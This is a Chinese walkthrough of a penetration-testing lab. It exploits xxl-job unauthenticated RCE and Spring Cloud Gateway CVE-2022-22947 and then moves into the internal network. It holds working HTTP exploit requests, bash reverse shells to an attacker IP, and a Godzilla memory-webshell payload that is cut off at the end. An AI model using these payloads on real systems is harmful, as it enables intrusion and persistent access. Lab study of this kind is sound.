机器密码:

xxl-job-admin:xxl-job/root123;admin/Bolean@10000

nacos-springcloudgateway:spring-nacos/root123;nacos/bolean@1q2

redis:redis/redis@1z;redis密码:nbsg@123456

拓扑图:

准备工作

修改一下xxl-job的网卡

1
sudo ifconfig ens33 192.168.150.11/24 up

或者修改网络配置文件

1
2
sudo vim /etc/netplan/00-installer-config.yaml
sudo netplan apply

信息收集

扫描存活主机和端口,发现开放了22、8080、8081、9999端口

访问8080、8081端口报错404

9999端口报错500,后面根据搜索报错信息确认是xxl-job服务,存在xxl-job RCE未授权远程命令执行

1
{"code":500,"msg":"invalid request, HttpMethod not support."}

漏洞利用

xxl-job

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.150.11:9999
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 356

{
"jobId": 1, // 任务ID
"executorHandler": "demoJobHandler", // 任务标识
"executorParams": "demoJobHandler", // 任务参数
"executorBlockStrategy": "COVER_EARLY", // 任务阻塞策略,可选值参考com.xxl.job.core.enums.ExecutorBlockStrategyEnum
"executorTimeout": 0, // 任务超时时间,单位秒,大于零时生效
"logId": 1, // 本次调度日志ID
"logDateTime": 1586629003729, // 本次调度日志时间
"glueType": "GLUE_POWERSHELL", // 任务模式,可选值参考com.xxl.job.core.glue.GlueTypeEnum
"glueSource": "calc", // GLUE脚本代码
"glueUpdatetime": 1586699003758, // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
"broadcastIndex": 0, // 分片参数:当前分片
"broadcastTotal": 0 // 分片参数:总分片
}

接着访问一下IP:8080/xxl-job-admin/toLogin任务调度中心登录如下:

尝试弱口令admin/123456登录失败,再尝试命令执行来反弹shell,但是nc监听并没有返回,这里需要注意其中的任务模式glueType

1
2
3
4
5
6
7
BEAN("BEAN", false, null, null),
GLUE_GROOVY("GLUE(Java)", false, null, null),
GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"),
GLUE_PYTHON("GLUE(Python)", true, "python", ".py"),
GLUE_PHP("GLUE(PHP)", true, "php", ".php"),
GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"),
GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");

然后修改glueType为GLUE_SHELL再来尝试一下成功反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.150.11:9999
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 397

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "/bin/bash -i >& /dev/tcp/192.168.150.128/1234 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

/root目录下得到flag1:flag{xxl_job_admin_2.2.0_RCE}

还发现存在网卡192.168.100.20

于是上传fscan扫一下内网,发现存在主机192.168.100.50

1
2
3
wget http://192.168.150.128/fscan
chmod +x fscan
./fscan -h 192.168.100.20/24

再来单独扫一下这台主机发现开放了22、8800、8848端口,存在nacos和SpringCloud服务并且有漏洞如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@vulntarget-k:/home/xxl-job/xxl-jar# ./fscan -h 192.168.100.50 -p 1-65535 -np
<b/xxl-jar# ./fscan -h 192.168.100.50 -p 1-65535 -np

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
192.168.100.50:22 open
192.168.100.50:8800 open
192.168.100.50:8848 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://192.168.100.50:8800 code:503 len:292 title:None
[*] WebTitle: http://192.168.100.50:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos
[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
[+] http://192.168.100.50:8800 Spring-Cloud-CVE-2022-22947
[+] http://192.168.100.50:8800 poc-yaml-spring-actuator-heapdump-file
[+] http://192.168.100.50:8800 poc-yaml-springboot-env-unauth spring2

springcloudgateway

首先我们来看看8800端口,存在Spring-Cloud-CVE-2022-22947,尝试直接利用poc发现无法执行命令

于是手工复现一下,先添加包含恶意的路由,201代表创建成功,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.100.50:8800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 325

{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

再刷新网关路由即可触发该payload

1
2
3
4
5
6
7
8
9
10
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.100.50:8800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

访问/actuator/gateway/routes/test即可回显命令执行的结果

执行ifconfig发现还有个网卡192.168.88.68

执行cat /root/flag得到flag2:flag{nacos_springcloudgateway_rce}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.100.50:8800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 352

{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"cat\", \"/root/flag\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

于是尝试反弹shell,对 getruntime 执行命令进行编码或者使用数组的形式命令执行,直接curl,但是都无法反弹shell,有可能是那种不出网的,nc收不到东西都

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.100.50:8800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 325

{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xMjgvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

可能可以写入内存🐎吧,后面直接给我干蓝屏了😇咕咕咕~

完事后需要删除所添加的路由,再刷新网关路由触发payload

1
2
3
4
5
6
7
8
9
DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.100.50:8800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

附上作者wp写哥斯拉马的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.100.50:8800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 10916

{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAOTG1zL0dNZW1TaGVsbDsBAAhkb0luamVjdAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVcmVnaXN0ZXJIYW5kbGVyTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAANtc2cBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEcGF0aAEADVN0YWNrTWFwVGFibGUHAM0HAMcBABBNZXRob2RQYXJhbWV0ZXJzAQALZGVmaW5lQ2xhc3MBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAApjbGFzc2J5dGVzAQACW0IBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAZtZXRob2QBAApFeGNlcHRpb25zAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABcwEAAW0BAAFaBwDFBwEaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAA3JldAEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAJicwEABXZhbHVlAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAANjbWQBAF0oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAAxidWZmZXJTdHJlYW0BAAJleAEABXBkYXRhAQAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTsBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA1TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Qb3N0TWFwcGluZzsBAAQvY21kAQANbGFtYmRhJGNtZCQxMQEARyhMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7KUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAJpZAEABGRhdGEBAChMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7AQAGcmVzdWx0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwcAtwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADkdNZW1TaGVsbC5qYXZhDABpAGoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAZQBmDAEbARwMAGgAZgwBHQEeDABnAJIMAGcAZgwBHwEgAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAEhASIMASMBJAEADG1zL0dNZW1TaGVsbAEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcMASUBKAcBKQwBKgErDAEsAS0BAAJvawEAE2phdmEvbGFuZy9FeGNlcHRpb24MAS4AagEABWVycm9yAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAS8MATABMQwBMgEzDABpATQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHATUMATYAmQwBNwE4AQADQUVTBwEaDAE5AToBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAE7ATwMAGkBPQwBPgE/DAFAAUEBAANNRDUHAUIMATkBQwwBRAFFDAFGAUcBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwBSAE8DABpAUkMAR0BSgwBSwEeAQAQamF2YS51dGlsLkJhc2U2NAwBTAFNAQAKZ2V0RW5jb2RlcgwBTgEiAQAOZW5jb2RlVG9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAFPAVABAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBUQFSAQAQQm9vdHN0cmFwTWV0aG9kcw8GAVMQAVQPBwFVEACpDAFWAVcHAVgMAVkBWgEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcBWwwBXAFdDABpAV4MAV8BHgcBYAwBYQFUDACcAJ0MAIkAigwAYQBiAQAHcGF5bG9hZAcBYgwBYwFUDACBAIIMAWQBZQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBZgFnDAFoAWkMAWoBPAwAlQCWDAFoAUoMAWsBbAEAEWphdmEvdXRpbC9IYXNoTWFwAQAQM2M2ZTBiOGE5YzE1MjI0YQEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAVwYXRocwEAB0J1aWxkZXIBAAxJbm5lckNsYXNzZXMBAGAoW0xqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAElvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAFYnVpbGQBAEUoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2dldEZvcm1EYXRhAQAfKClMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwoBbQFuAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKABIBbwEABWFwcGx5AQAtKExtcy9HTWVtU2hlbGw7KUxqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247AQAbcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vAQAHZmxhdE1hcAEAPChMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOylMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgEACmdldE1lc3NhZ2UBACZvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcAEACGdldEZpcnN0AQANamF2YS91dGlsL01hcAEAA2dldAEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAEanVzdAEAMShMamF2YS9sYW5nL09iamVjdDspTHJlYWN0b3IvY29yZS9wdWJsaXNoZXIvTW9ubzsHAXAMAXEBdAwAqACpAQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQEAC21ldGFmYWN0b3J5BwF2AQAGTG9va3VwAQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7BwF3AQAlamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzJExvb2t1cAEAHmphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcwAhABIADQAAAAQACQBhAGIAAQBjAAAAAgBkAAkAZQBmAAAACQBnAGYAAAAJAGgAZgAAAAoAAQBpAGoAAQBrAAAALwABAAEAAAAFKrcAAbEAAAACAGwAAAAGAAEAAAAWAG0AAAAMAAEAAAAFAG4AbwAAAAkAcABxAAIAawAAAUgABwAG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'),new 